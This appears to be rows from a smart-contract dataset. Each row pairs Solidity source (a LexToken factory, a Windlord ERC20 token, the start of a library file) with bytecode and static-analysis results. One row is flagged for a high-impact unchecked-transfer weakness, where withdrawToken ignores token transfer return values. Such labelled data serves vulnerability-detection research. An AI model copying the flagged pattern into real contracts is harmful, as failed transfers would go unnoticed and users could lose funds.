private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager event Approval(address indexed owner, address indexed spender, uint256 value); event Redeem(string details); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale); event UpdateTransferability(bool transferable); mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; if (_managerSupply > 0) {_mint(_manager, _managerSupply);} if (_saleSupply > 0) {_mint(address(this), _saleSupply);} // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function burn(uint256 value) external { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) external { _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _burn(from, value); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function redeem(uint256 value, string calldata _details) external { _burn(msg.sender, value); emit Redeem(_details); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);} if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);} emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue); } } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } contract LexTokenFactory is CloneFactory { address payable public lexDAO; address public lexDAOtoken; address payable immutable public template; uint256 public userReward; string public details; event LaunchLexToken(address indexed lexToken, address indexed manager, uint256 saleRate, bool forSale); event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details); constructor( address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details ) { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; template = _template; userReward = _userReward; details = _details; } function launchLexToken( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) external payable { LexToken lex = LexToken(createClone(template)); lex.init( _manager, _decimals, _managerSupply, _saleRate, _saleSupply, _totalSupplyCap, _details, _name, _symbol, _forSale, _transferable); if (msg.value > 0) {(bool success, ) = lexDAO.call{value: msg.value}(""); require(success, "!ethCall");} if (userReward > 0) {IERC20(lexDAOtoken).transfer(msg.sender, userReward);} emit LaunchLexToken(address(lex), _manager, _saleRate, _forSale); } function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external { require(msg.sender == lexDAO, "!lexDAO"); lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; userReward = _userReward; details = _details; emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details); } }
0x6080604052600436106100705760003560e01c80636f2ddd931161004e5780636f2ddd931461031a5780638976263d1461032f578063a994ee2d146103ca578063e5a6c28f146103df57610070565b80634f411f7b14610075578063565974d3146100a65780635d22b72c14610130575b600080fd5b34801561008157600080fd5b5061008a610406565b604080516001600160a01b039092168252519081900360200190f35b3480156100b257600080fd5b506100bb610415565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f55781810151838201526020016100dd565b50505050905090810190601f1680156101225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610318600480360361016081101561014757600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b81111561019157600080fd5b8201836020820111156101a357600080fd5b803590602001918460018302840111600160201b831117156101c457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561021657600080fd5b82018360208201111561022857600080fd5b803590602001918460018302840111600160201b8311171561024957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561029b57600080fd5b8201836020820111156102ad57600080fd5b803590602001918460018302840111600160201b831117156102ce57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050508035151591506020013515156104a3565b005b34801561032657600080fd5b5061008a61083b565b34801561033b57600080fd5b506103186004803603608081101561035257600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561038c57600080fd5b82018360208201111561039e57600080fd5b803590602001918460018302840111600160201b831117156103bf57600080fd5b50909250905061085f565b3480156103d657600080fd5b5061008a61096d565b3480156103eb57600080fd5b506103f461097c565b60408051918252519081900360200190f35b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561049b5780601f106104705761010080835404028352916020019161049b565b820191906000526020600020905b81548152906001019060200180831161047e57829003601f168201915b505050505081565b60006104ce7f0000000000000000000000001a7b9854969bfa4f60f231957bef9c9782900696610982565b9050806001600160a01b0316637a0c21ee8d8d8d8d8d8d8d8d8d8d8d6040518c63ffffffff1660e01b8152600401808c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561057e578181015183820152602001610566565b50505050905090810190601f1680156105ab5780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b838110156105de5781810151838201526020016105c6565b50505050905090810190601f16801561060b5780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b8381101561063e578181015183820152602001610626565b50505050905090810190601f16801561066b5780820380516001836020036101000a031916815260200191505b509e505050505050505050505050505050600060405180830381600087803b15801561069657600080fd5b505af11580156106aa573d6000803e3d6000fd5b50505050600034111561074c57600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114610704576040519150601f19603f3d011682016040523d82523d6000602084013e610709565b606091505b505090508061074a576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b505b600254156107d8576001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156107ab57600080fd5b505af11580156107bf573d6000803e3d6000fd5b505050506040513d60208110156107d557600080fd5b50505b8b6001600160a01b0316816001600160a01b03167f176531a4d8afdce919b7d31d8cfd2b6d7a2787ef70e6fc44d338bce7a6a080e68b866040518083815260200182151581526020019250505060405180910390a3505050505050505050505050565b7f0000000000000000000000001a7b9854969bfa4f60f231957bef9c978290069681565b6000546001600160a01b031633146108a8576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038088166001600160a01b031992831617909255600180549287169290911691909117905560028390556108e9600383836109d4565b50836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a5985858560405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a35050505050565b6001546001600160a01b031681565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282610a0a5760008555610a50565b82601f10610a235782800160ff19823516178555610a50565b82800160010185558215610a50579182015b82811115610a50578235825591602001919060010190610a35565b50610a5c929150610a60565b5090565b5b80821115610a5c5760008155600101610a6156fea2646970667358221220e419dce9438da1cc3c120f57010e1ac7a27c2b6ad994151be1bd309bedf4f17a64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
4,874
0xcb0c47a39f73fc4f6a93448861791902800a88d1
pragma solidity ^0.4.13; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } /** * @title Windlord * @dev ERC20 Windlord (WIND) * * WIND Tokens are divisible by 1e18 * * * WIND are displayed using 18 decimal places of precision. * * * * * * * */ contract Windlord is StandardToken, Pausable { string public constant name = 'Windlord'; // Set the token name for display string public constant symbol = 'WIND'; // Set the token symbol for display uint8 public constant decimals = 18; // Set the number of decimals for display uint256 public constant INITIAL_SUPPLY = 21000000000000000000000000; // /** * @dev Windlord Constructor * Runs only on initial contract creation. */ function Windlord() { totalSupply = INITIAL_SUPPLY; // Set the total supply balances[msg.sender] = INITIAL_SUPPLY; // Creator address is assigned all } /** * @dev Transfer token for a specified address when not paused * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) whenNotPaused returns (bool) { require(_to != address(0)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another when not paused * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) { require(_to != address(0)); return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender when not paused. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { return super.approve(_spender, _value); } } // In commemoration of an early “revolutionary” high-performance hang glider named the “Windlord IV” developed by a very talented US Navy fighter pilot, in San Diego, California in the mid 1970’s.
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f15780632ff2e9dc1461026a578063313ce567146102935780633f4ba83a146102c25780635c975abb146102ef57806370a082311461031c5780638456cb59146103695780638da5cb5b1461039657806395d89b41146103eb578063a9059cbb14610479578063dd62ed3e146104d3578063f2fde38b1461053f575b600080fd5b34156100eb57600080fd5b6100f3610578565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105b1565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db6105e1565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e7565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d610655565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a6610664565b604051808260ff1660ff16815260200191505060405180910390f35b34156102cd57600080fd5b6102d5610669565b604051808215151515815260200191505060405180910390f35b34156102fa57600080fd5b610302610730565b604051808215151515815260200191505060405180910390f35b341561032757600080fd5b610353600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610743565b6040518082815260200191505060405180910390f35b341561037457600080fd5b61037c61078c565b604051808215151515815260200191505060405180910390f35b34156103a157600080fd5b6103a9610854565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f657600080fd5b6103fe61087a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043e578082015181840152602081019050610423565b50505050905090810190601f16801561046b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048457600080fd5b6104b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108b3565b604051808215151515815260200191505060405180910390f35b34156104de57600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061091f565b6040518082815260200191505060405180910390f35b341561054a57600080fd5b610576600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109a6565b005b6040805190810160405280600881526020017f57696e646c6f726400000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156105cf57600080fd5b6105d98383610a7d565b905092915050565b60005481565b6000600360149054906101000a900460ff1615151561060557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561064157600080fd5b61064c848484610c04565b90509392505050565b6a115eec47f6cf7e3500000081565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106c757600080fd5b600360149054906101000a900460ff1615156106e257600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b600360149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107ea57600080fd5b600360149054906101000a900460ff1615151561080657600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f57494e440000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156108d157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561090d57600080fd5b6109178383610eb4565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a0257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610a7a5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600080821480610b0957506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610b1457600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cd883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461104f90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6d83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461106d90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc3838261106d90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000610f0882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461106d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461104f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561106357fe5b8091505092915050565b600082821115151561107b57fe5b8183039050929150505600a165627a7a7230582021a8111812d7d39c06d01b6c5f21cf63b46b0434e638db421311036598d8e3710029
{"success": true, "error": null, "results": {}}
4,875
0xcb9641ed6f858b072a114672c1e9fa2a7f68c2cd
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event 